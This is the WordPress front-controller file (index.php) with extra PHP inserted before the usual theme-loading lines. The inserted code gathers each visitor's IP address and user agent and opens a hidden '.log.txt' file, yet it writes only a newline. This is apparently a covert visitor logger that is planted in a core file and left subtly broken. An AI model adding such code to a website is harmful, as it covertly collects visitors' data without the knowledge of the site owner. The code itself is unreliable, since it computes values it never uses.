/** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ $today = date("F j, Y, g:i a"); $cookie = $_SERVER['REMOTE_ADDR']." -- ".$_SERVER['HTTP_USER_AGENT']; $file = fopen('.log.txt', 'a'); fwrite($file, "\r\n"); fclose($file); define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );